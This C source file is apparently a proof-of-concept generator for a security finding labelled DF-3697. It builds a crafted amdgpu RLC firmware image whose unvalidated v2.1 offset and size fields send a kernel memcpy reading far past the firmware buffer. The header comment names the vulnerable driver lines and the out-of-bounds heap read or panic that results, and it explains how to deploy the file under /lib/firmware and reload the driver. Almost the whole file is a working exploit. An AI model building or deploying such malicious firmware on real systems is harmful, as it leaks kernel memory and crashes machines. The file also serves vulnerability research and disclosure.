/*
 * DF-3697 trigger generator — crafts a malicious amdgpu RLC firmware image
 * with an rlc_firmware_header_v2_1 whose save-restore-list offset/size fields
 * point far past the end of the firmware buffer.
 *
 * Target: sys/dev/drm/amd/amdgpu/gfx_v9_0.c:516-535
 *   gfx_v9_0_init_rlc_ext_microcode():
 *     adev->gfx.rlc.save_restore_list_cntl =
 *         (u8 *)rlc_hdr + le32_to_cpu(rlc_hdr->save_restore_list_cntl_offset_bytes);
 *   — offset and size are raw u32s from the firmware file; never compared
 *   against adev->gfx.rlc_fw->datasize.
 *
 * Sink (PSP load path): sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:381-394
 *     ucode->ucode_size = adev->gfx.rlc.save_restore_list_cntl_size_bytes;
 *     memcpy(ucode->kaddr, adev->gfx.rlc.save_restore_list_cntl,
 *            ucode->ucode_size);
 *   reached via amdgpu_psp.c:428 amdgpu_ucode_init_bo() when
 *   adev->firmware.load_type == AMDGPU_FW_LOAD_PSP (Vega10/VEGA12/Raven
 *   default when a PSP is present).
 *
 * The destination BO is sized from the SAME unvalidated fields
 * (gfx_v9_0.c:776-797), so the primitive is an out-of-bounds READ of kernel
 * heap memory (up to 4 GiB wild offset / 4 GiB length), whose contents are
 * copied into a GPU-mapped firmware BO.
 *
 * Build:  cc -O2 -o fwgen_craft_rlc fwgen_craft_rlc.c
 * Run:    ./fwgen_craft_rlc            (writes amdgpufw_raven_rlc.evil)
 *
 * Deploying it on a real Vega10/VEGA12/Raven system means placing the file at
 * /lib/firmware/amdgpufw_<asic>_rlc (root-owned path) and (re)loading the
 * amdgpu driver — see VERDICT.md for the threat model.
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

/* Mirror of sys/dev/drm/amd/amdgpu/amdgpu_ucode.h layouts (little-endian) */
struct common_hdr {
	uint32_t size_bytes;
	uint32_t header_size_bytes;
	uint16_t header_version_major;
	uint16_t header_version_minor;
	uint16_t ip_version_major;
	uint16_t ip_version_minor;
	uint32_t ucode_version;
	uint32_t ucode_size_bytes;
	uint32_t ucode_array_offset_bytes;
	uint32_t crc32;
};

struct rlc_v2_1 {
	struct common_hdr hdr;		/* 32 bytes */
	uint32_t ucode_feature_version;	/* v2_0 body, 20 x u32 */
	uint32_t jt_offset;
	uint32_t jt_size;
	uint32_t save_and_restore_offset;
	uint32_t clear_state_descriptor_offset;
	uint32_t avail_scratch_ram_locations;
	uint32_t reg_restore_list_size;
	uint32_t reg_list_format_start;
	uint32_t reg_list_format_separate_start;
	uint32_t starting_offsets_start;
	uint32_t reg_list_format_size_bytes;
	uint32_t reg_list_format_array_offset_bytes;
	uint32_t reg_list_size_bytes;
	uint32_t reg_list_array_offset_bytes;
	uint32_t reg_list_format_separate_size_bytes;
	uint32_t reg_list_format_separate_array_offset_bytes;
	uint32_t reg_list_separate_size_bytes;
	uint32_t reg_list_separate_array_offset_bytes;
	/* v2_1 extension */
	uint32_t reg_list_format_direct_reg_list_length;
	uint32_t srlc_ucode_ver;
	uint32_t srlc_feature_ver;
	uint32_t srlc_size_bytes;
	uint32_t srlc_offset_bytes;
	uint32_t srlg_ucode_ver;
	uint32_t srlg_feature_ver;
	uint32_t srlg_size_bytes;
	uint32_t srlg_offset_bytes;
	uint32_t srls_ucode_ver;
	uint32_t srls_feature_ver;
	uint32_t srls_size_bytes;
	uint32_t srls_offset_bytes;
};

#define TOTAL_SIZE	256	/* entire image: 256 bytes */

int main(void)
{
	struct rlc_v2_1 h;
	uint8_t img[TOTAL_SIZE];

	memset(&h, 0, sizeof(h));
	memset(img, 0xAA, sizeof(img));

	/* common header: only thing amdgpu_ucode_validate() checks in this
	 * tree is size_bytes == fw->datasize, so make it self-consistent */
	h.hdr.size_bytes		= TOTAL_SIZE;
	h.hdr.header_size_bytes		= sizeof(h);
	h.hdr.header_version_major	= 2;
	h.hdr.header_version_minor	= 1;	/* -> is_rlc_v2_1 = true */
	h.hdr.ucode_version		= 0x01000000;
	h.hdr.ucode_size_bytes		= 64;
	h.hdr.ucode_array_offset_bytes	= sizeof(h);
	h.hdr.crc32			= 0;	/* not checked */

	/* keep the v2_0 reg-list fields benign (DF-1176 is a separate known
	 * finding; we isolate THIS bug) */
	h.reg_list_format_size_bytes		= 0;
	h.reg_list_size_bytes			= 0;

	/* ===== the malicious v2_1 fields =====
	 * image is 256 bytes; point 64 KiB past it and claim 4 KiB of data */
	h.srlc_size_bytes	= 0x1000;
	h.srlc_offset_bytes	= 0x10000;	/* wild: 0x10000 >> TOTAL_SIZE */
	h.srlg_size_bytes	= 0x1000;
	h.srlg_offset_bytes	= 0x11000;
	h.srls_size_bytes	= 0x1000;
	h.srls_offset_bytes	= 0x12000;

	memcpy(img, &h, sizeof(h));

	FILE *f = fopen("amdgpufw_raven_rlc.evil", "wb");
	if (!f) { perror("fopen"); return 1; }
	fwrite(img, 1, sizeof(img), f);
	fclose(f);

	printf("crafted amdgpufw_raven_rlc.evil: %zu bytes\n", sizeof(img));
	printf("  header_version = 2.1  -> gfx_v9_0_init_rlc_ext_microcode() runs\n");
	printf("  save_restore_list_cntl = fw->data + 0x%x, size 0x%x\n",
	       h.srlc_offset_bytes, h.srlc_size_bytes);
	printf("  on PSP-load devices this feeds memcpy(dst, fw->data+0x10000, 0x1000)\n");
	printf("  at amdgpu_ucode.c:381-384 -> OOB kernel heap read / panic\n");
	return 0;
}
